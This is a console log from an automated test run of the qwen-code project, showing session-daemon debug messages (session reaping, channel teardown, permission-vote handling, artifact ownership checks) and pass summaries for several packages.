qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: dropping early extNotification for tombstoned session "sess:/work/a" (post-close stale event)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: WARNING aliveChannels.size=3 (expected 1, max 2 during killSession-then-spawnOrAttach overlap) — possible channel leak; check that prior channels' channel.exited fired and the handler ran cleanup.
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_model_update action=promoted model=qwen-max
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_model_update action=suppressed reason=bridge_roundtrip_in_flight
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=nonexistent-session type=current_model_update action=dropped reason=no_entry
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_model_update action=promoted model=qwen-max
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=prompt_suggestion action=dropped reason=malformed
[demux] session=sess:/work/a type=prompt_suggestion action=dropped reason=malformed
[demux] session= type=prompt_suggestion action=dropped reason=malformed
[demux] session=sess:/work/a type=prompt_suggestion action=dropped reason=malformed
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=session_recording_degraded action=dropped reason=malformed
[demux] session= type=session_recording_degraded action=dropped reason=malformed
[demux] session=sess:/work/a type=session_recording_degraded action=dropped reason=malformed
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 3 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: closeSession ACP session close notification failed for session "sess:/work/a": [object Object]
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 1 session(s) torn down)
qwen serve: closeSession ACP session close notification failed for session "sess:/work/a": agent channel closed mid-request (session sess:/work/a)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: updated session metadata "sess:/work/a" displayName=set
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
sendPrompt: forward failed for session sess:/work/a: model unavailable
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve debug: rejected permission vote "175acc0e-4ae5-498b-b34c-51b1784169a0" for session "sess:/work/a#2"; request belongs to session "sess:/work/a".
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_mode_update action=promoted mode=auto-edit
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_mode_update action=suppressed reason=bridge_roundtrip_in_flight
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_model_update action=promoted model=qwen-max
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_mode_update action=dropped reason=unknown_mode mode=totally-bogus
[demux] session=sess:/work/a type=current_model_update action=promoted model=qwen-max
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_mode_update action=promoted mode=auto-edit
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_mode_update action=promoted mode=auto-edit legacy_frame=skipped
[demux] session=sess:/work/a type=current_model_update action=promoted model=qwen-max
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_model_update action=promoted model=qwen-turbo
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_mode_update action=promoted mode=auto-edit
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_model_update action=promoted model=qwen-turbo
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[demux] session=sess:/work/a type=current_model_update action=promoted model=qwen-turbo
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=model action=corrected cached=qwen-max actual=qwen-turbo
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=model action=failed error=[object Object]
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=model action=skipped reason=roundtrip_failed
[demux] session=sess:/work/a type=current_model_update action=dropped reason=no_entry
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=model action=skipped reason=generation_changed genBefore=1 genAfter=2
[reconcile] session=sess:/work/a target=model action=corrected cached=qwen-plus actual=qwen-turbo
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=approvalMode action=corrected cached=yolo actual=plan
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=approvalMode action=skipped reason=roundtrip_failed
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[reconcile] session=sess:/work/a target=approvalMode action=dropped reason=unknown_mode mode=super-yolo
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: closing session "sess:/work/a#2" (reason: client_close)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: idle timeout (5000ms) expired, killing channel
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: closing session "sess:/work/a#2" (reason: client_close)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: idle timeout (5000ms) expired, killing channel
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 1000ms, idle threshold 5000ms)
qwen serve: reaping idle session "sess:/work/a" (idle for 5s, threshold 5s)
qwen serve: closing session "sess:/work/a" (reason: idle_timeout)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 1000ms, idle threshold 2000ms)
sendPrompt: forward failed for session sess:/work/a: agent channel closed mid-request (session sess:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=902adb60-6fb6-422d-83c3-4fe490870395
qwen serve: session reaper started (interval 1000ms, idle threshold 2000ms)
qwen serve: reaping idle session "sess:/work/a" (idle for 6s, threshold 2s)
qwen serve: closing session "sess:/work/a" (reason: idle_timeout)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 1000ms, idle threshold 2000ms)
sendPrompt: forward failed for session sess:/work/a: agent channel closed mid-request (session sess:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=962ad957-60af-48f8-80ec-17bc8383b97f
qwen serve: session reaper disabled
qwen serve: session reaper disabled
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: idle_timeout)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 1000ms, idle threshold 3000ms)
qwen serve: reaping idle session "sess:/work/a" (idle for 3s, threshold 3s)
qwen serve: closing session "sess:/work/a" (reason: idle_timeout)
qwen serve: reaping idle session "sess:/work/a#2" (idle for 3s, threshold 3s)
qwen serve: closing session "sess:/work/a#2" (reason: idle_timeout)
qwen serve: reaping idle session "sess:/work/a#3" (idle for 3s, threshold 3s)
qwen serve: closing session "sess:/work/a#3" (reason: idle_timeout)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 1000ms, idle threshold 5000ms)
qwen serve: reaping idle session "sess:/work/a" (idle for 5s, threshold 5s)
qwen serve: closing session "sess:/work/a" (reason: idle_timeout)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 1000ms, idle threshold 2000ms)
qwen serve: session reaper started (interval 1000ms, idle threshold 3000ms)
qwen serve: closing session "sess:/work/a" (reason: last_client_detached)
qwen serve: idle timeout (2000ms) expired, killing channel
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper disabled
qwen serve: closing session "sess:/work/a" (reason: last_client_detached)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper disabled
qwen serve: closing session "sess:/work/a" (reason: last_client_detached)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper disabled
qwen serve: closing session "sess:/work/a" (reason: last_client_detached)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: closing session "sess:/work/a" (reason: client_close)
sendPrompt: forward failed for session sess:/work/a: cancelled
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=06eb4610-cbb4-4a79-bedc-6b0218c22e6c
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
sendPrompt: forward failed for session sess:/work/a: agent channel closed mid-request (session sess:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=c3c28c28-3195-4c6e-9735-976495d66c06
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 1 session(s) torn down)
sendPrompt: forward failed for session sess:/work/a: agent channel closed mid-request (session sess:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=2f93a0f4-13d2-405d-a2a7-1ce00a1113ed
[pending-prompt] cancel forward failed after removePendingPrompt session=sess:/work/a: agent channel closed mid-request (session sess:/work/a)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 1 session(s) torn down)
sendPrompt: forward failed for session sess:/work/a: agent channel closed mid-request (session sess:/work/a)
broadcastPromptCancelledOnce: suppressed duplicate cancel for session sess:/work/a prompt=8d4b0b02-cb13-4204-9fcb-8b434948afc0
[pending-prompt] cancel forward failed after removePendingPrompt session=sess:/work/a: agent channel closed mid-request (session sess:/work/a)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[mid-turn] session=sess:/work/a rejected: session idle; browser keeps it for next turn
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[mid-turn] session=sess:/work/a dropped 1 undrained message(s) at idle; browser resends next turn
[mid-turn] session=sess:/work/a rejected: session idle; browser keeps it for next turn
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[mid-turn] session=sess:/work/a rejected: empty message; browser keeps it for next turn
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[mid-turn] session="sess:/work/a" remove missed messageId="43ed9975-d3c7-4123-8358-74b521d3e909" (already drained or originator mismatch)
[mid-turn] session="sess:/work/a" remove missed messageId="43ed9975-d3c7-4123-8358-74b521d3e909" (already drained or originator mismatch)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[mid-turn] session="sess:/work/a" remove missed messageId="2bd154a9-287d-43a6-a4e2-8f332ffb83c5" (already drained or originator mismatch)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[mid-turn] session=sess:/work/a drained=2 injected into running turn
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[mid-turn] session=sess:/work/a dropped 1 undrained message(s) at idle; browser resends next turn
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[mid-turn] session=sess:/work/a drained=1 injected into running turn
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[mid-turn] session=sess:/work/a drained=1 originator=client_ba900cf6-96b2-4d91-a634-b7e0259ae640 injected into running turn
[mid-turn] session="sess:/work/a" remove missed messageId="73968e75-d6d7-42c5-8821-582d81585753" (already drained or originator mismatch)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[mid-turn] session=sess:/work/a rejected: queue full (depth 20 >= 20); browser keeps it for next turn
[mid-turn] session=sess:/work/a dropped 20 undrained message(s) at idle; browser resends next turn
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
[mid-turn] session=sess:/work/a drained=1 injected into running turn
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
✓ src/bridge.test.ts (469 tests) 13633ms
✓ createAcpSessionBridge > streams workspace content without requiring a session 414ms
[artifacts] session=s1-client-upsert-owner action=upsert_denied artifactId=c2d4ffe4020f3640 owner=client-a requester=client-b
[artifacts] session=s1-client-upsert-owner-batch action=upsert_denied artifactId=7b3e8a786f927b8a owner=client-a requester=client-b
[artifacts] session=s1-client-id-durable action=remove_denied artifactId=f12e2d7d92dcc265 owner=client-a requester=client-b
[artifacts] session=s11-ephemeral-replacement-failure action=upsert_rollback warning="artifact durable removal not persisted; live changes rolled back" artifactIds=["2dfaa9c7bc96dc41"] error="disk full"
[artifacts] session=s11-restored-client-tombstone action=tombstone_replay_suppressed artifactId=ffe5414ad32cdb7f
[artifacts] session=s11-downgraded-tombstone action=persist_failed sequence=2 artifactIds=["9f693a0b913c7284"] reason="disk full"
[artifacts] session=s11-downgraded-eviction-tombstone action=persist_failed sequence=2 artifactIds=["d5abd84cb8e3bc00"] reason="disk full"
✓ src/sessionArtifacts.test.ts (103 tests) 3742ms
✓ SessionArtifactStore > backs off snapshot retries after a write failure and resets after success 625ms
✓ SessionArtifactStore > logs when tombstone LRU eviction drops the oldest id 936ms
[demux] session=session-owned-by-new-channel type=session_recording_degraded action=dropped reason=session_not_owned
[artifacts] session=sess:forged-artifacts action=dropped reason="url must use http or https"
qwen serve: failed to snapshot pending interaction d984ebff-997b-4ac4-a1a8-349497e9810a: Cannot read properties of null (reading '_meta')
[mid-turn] session=sess:drain drained=2 injected into running turn
[mid-turn] session=sess:multi drained=2 originator=client-1 injected into running turn
[mid-turn] session=sess:multi drained=1 originator=client-2 injected into running turn
✓ src/bridgeClient.test.ts (82 tests) 1286ms
✓ src/compactionEngine.test.ts (76 tests) 683ms
✓ src/eventBus.test.ts (55 tests) 1153ms
✓ EventBus > default ring size is 8000 (#3803 §02 target) 342ms
permissionMediator: consensus request req-1 for session sess-1 requires unanimity (votersAtIssue.size=2, default quorum=floor(M/2)+1=2); split votes will only resolve via permissionTimeoutMs (5000ms). This breadcrumb fires once per mediator lifetime; subsequent unanimity-required requests are silent.
qwen serve: permission req-1 (session sess-1) timed out after 5000ms
qwen serve: permission req-1 (session sess-1): vote rejected (designated_mismatch (voter is not the prompt originator)) by client "client_B"
qwen serve: permission req-1 (session sess-1): vote rejected (designated_mismatch (voter not in consensus votersAtIssue snapshot)) by client
permissionMediator: consensus request req-1 for session sess-1 requires unanimity (votersAtIssue.size=2, default quorum=floor(M/2)+1=2); split votes will only resolve via permissionTimeoutMs (5000ms). This breadcrumb fires once per mediator lifetime; subsequent unanimity-required requests are silent.
qwen serve: permission req-1 (session sess-1): vote rejected (designated_mismatch (voter not in consensus votersAtIssue snapshot)) by client "client_late_join"
qwen serve: permission req-1 (session sess-1) timed out after 5000ms
permissionMediator: consensusQuorum override 100 capped to 3 (votersAtIssue.size=3) for request req-1 session sess-1
qwen serve: permission req-1 (session sess-1): vote rejected (remote_not_allowed (local-only policy; vote not from loopback)) by client "client_A"
permissionMediator: emit failed for session="sess-1" type="permission_resolved": Error: bus closed during shutdown
permissionMediator: emit failed for session="sess-1" type="permission_already_resolved": Error: bus closed during shutdown
permissionMediator: audit publisher threw: Error: audit ring full
permissionMediator: audit publisher threw: Error: audit ring full
permissionMediator: audit publisher threw: Error: audit publisher transient error
permissionMediator: audit publisher threw: Error: audit publisher transient error
qwen serve: permission req-1 (session sess-1) timed out after 5000ms
permissionMediator: audit publisher threw: Error: audit publisher transient error
✓ src/permissionMediator.test.ts (40 tests) 527ms
✓ src/spawnChannel.test.ts (31 tests) 945ms
✓ src/transcript-replay.test.ts (17 tests) 244ms
✓ src/daemon-memory-budget.test.ts (41 tests) 246ms
✓ src/logRedaction.test.ts (39 tests) 208ms
✓ src/status.test.ts (17 tests) 165ms
✓ src/ndJsonStream.test.ts (11 tests) 516ms
✓ src/inMemoryChannel.test.ts (8 tests) 375ms
a2ui: dropping command with unrecognized shape (version,noop)
✓ src/a2uiExtraction.test.ts (14 tests) 139ms
✓ src/workspacePaths.test.ts (10 tests) 170ms
✓ src/channel-startup-profile.test.ts (4 tests) 98ms
✓ src/process-registry.test.ts (5 tests) 197ms
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
✓ src/bridge.sandbox.test.ts (2 tests) 371ms
✓ bridge spawnOrAttach inside a POSIX container sandbox (#7139) > accepts a Windows-shaped workspaceCwd bound to its mount location 322ms
✓ src/daemon-memory-budget-parity-fraction.test.ts (1 test) 79ms
✓ src/workspacePaths.sandbox.test.ts (2 tests) 75ms
✓ src/daemon-memory-budget-parity.test.ts (1 test) 119ms
✓ src/generation-stream.test.ts (4 tests) 97ms
✓ src/session-source.test.ts (9 tests) 97ms
Test Files 23 passed (23)
Tests 1041 passed (1041)
Start at 22:39:36
Duration 293.17s (transform 51.77s, setup 0ms, collect 206.28s, tests 25.17s, environment 69ms, prepare 17.24s)
npm notice run @qwen-code/audio-capture@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/audio-capture
✓ src/platform.test.ts (2 tests) 128ms
Test Files 1 passed (1)
Tests 2 passed (2)
Start at 22:44:36
Duration 4.63s (transform 655ms, setup 0ms, collect 737ms, tests 128ms, environment 2ms, prepare 1.03s)
npm notice run @qwen-code/chrome-bridge@0.21.5 test
npm notice run vitest run --config vitest.config.ts --testTimeout=30000 --no-file-parallelism --exclude=**/{qwenConnectionHandler,useAtCompletion,pid-descendants,serve/acp-http/transport,i18n/index,ui/auth/AuthDialog,ui/utils/clipboardUtils,services/FileCommandLoader,services/FileCommandLoader-extension,lsp/LspConfigLoader,utils/pathReader}.test.*
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/chrome-extension
✓ src/daemon/config.test.ts (8 tests) 171ms
Test Files 1 passed (1)
Tests 8 passed (8)
Start at 22:44:48
Duration 8.66s (transform 705ms, setup 0ms, collect 602ms, tests 171ms, environment 4.61s, prepare 999ms)
npm notice run @qwen-code/qwen-code@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/cli
Coverage enabled with v8
✓ src/acp-integration/session/Session.test.ts (506 tests) 346498ms
✓ Session > setModel > sets model via config and returns current model 305ms
✓ Session > setModel > emits a current_model_update extNotification after switching (A1) 308ms
✓ Session > prompt > clears the root invocation context from automatic turns 356ms
✓ Session > prompt > fires MessageDisplay with cumulative text and a single is_final for a background notification response 300ms
✓ Session > prompt > suppresses is_final for MessageDisplay when a background notification response is cancelled mid-stream 317ms
✓ Session > prompt > cancels an in-flight background notification prompt 358ms
✓ Session > prompt > emits end_turn even when notification error display fails 303ms
✓ Session > prompt > drains background shell notifications through ACP after the prompt is idle 306ms
✓ Session > prompt > routes ACP image prompts through the vision bridge for text-only primary models 303ms
✓ Session > prompt > routes an agent-capable image prompt for that ACP prompt only 407ms
✓ Session > prompt > preserves unsupported image @ files for the vision bridge 385ms
✓ Session > prompt > resolves image @ paths from ACP text through the vision bridge 311ms
✓ Session > prompt > ignores non-image and relative ACP text @ paths 303ms
✓ Session > prompt > does not treat an image-named symlink to a text file as an image 304ms
✓ Session > prompt > does not read an image symlink whose target is ignored 549ms
✓ Session > prompt > does not read an ignored image symlink whose target is allowed 313ms
✓ Session > prompt > does not read an image symlink whose target is outside the workspace 321ms
✓ Session > prompt > revalidates an ACP text image after resolving extension context 409ms
✓ Session > prompt > keeps the user prompt as the final part after referenced file content 345ms
✓ Session > prompt > conversation_finished telemetry (#4602 review) > emits conversation_finished once when a turn completes normally 312ms
✓ Session > prompt > conversation_finished telemetry (#4602 review) > still emits conversation_finished when the turn throws (telemetry not lost on the error path) 322ms
✓ Session > prompt > conversation_finished telemetry (#4602 review) > stops an ACP prompt after a repeated duplicate provider id without sending an empty follow-up 358ms
✓ Session > prompt > conversation_finished telemetry (#4602 review) > stops an ACP prompt after repeated invalid tool parameters with fresh ids 426ms
✓ Session > prompt > conversation_finished telemetry (#4602 review) > does not stop disabled tools as repeated invalid parameter calls 329ms
✓ Session > prompt > conversation_finished telemetry (#4602 review) > stops early tool lookup errors after repeated invalid tool calls 316ms
✓ Session > prompt > conversation_finished telemetry (#4602 review) > keeps loop telemetry failures from duplicating terminal results 352ms
✓ Session > prompt > conversation_finished telemetry (#4602 review) > stops an ACP prompt after exceeding the daemon tool-call cap 371ms
✓ Session > prompt > conversation_finished telemetry (#4602 review) > does not start unstarted concurrent Agent calls after invalid parameter loop detection 358ms
✓ Session > prompt > conversation_finished telemetry (#4602 review) > stops concurrent Agent batches after Promise.race observes loop detection 352ms
✓ Session > prompt > conversation_finished telemetry (#4602 review) > clears duplicate provider id tracking between ACP prompts 339ms
✓ Session > prompt > shell heartbeat forwarding > forwards shell heartbeats as meta-only in_progress updates 344ms
✓ Session > prompt > shell heartbeat forwarding > drops heartbeats that land after the tool has settled 338ms
✓ Session > prompt > shell heartbeat forwarding > records heartbeat counts on the tool-execution span 373ms
✓ Session > prompt > tool outcome telemetry (#4602 review) > records a soft tool failure (toolResult.error) as error, not success 355ms
✓ Session > prompt > auto-compress > runs automatic compression before sending an ACP prompt 336ms
✓ Session > prompt > auto-compress > uses the current chat after automatic compression replaces it 339ms
✓ Session > prompt > auto-compress > emits an ACP-visible update when automatic compression succeeds 353ms
✓ Session > prompt > auto-compress > labels the notice as screenshot-triggered when triggerReason is image_overflow 367ms
✓ Session > prompt > auto-compress > continues sending when automatic compression fails 348ms
✓ Session > prompt > auto-compress > does not use global UI telemetry when compression fails before local token counts exist 352ms
✓ Session > prompt > auto-compress > returns cancelled when automatic compression is aborted 403ms
✓ Session > prompt > auto-compress > surfaces an automatic compression AbortError without an aborted signal 365ms
✓ Session > prompt > auto-compress > uses compression token info instead of global UI telemetry for the session limit 360ms
✓ Session > prompt > auto-compress > falls back to the previous prompt token count when compression returns zero token info 361ms
✓ Session > prompt > auto-compress > falls back to the previous prompt token count when compressed token info is zero 363ms
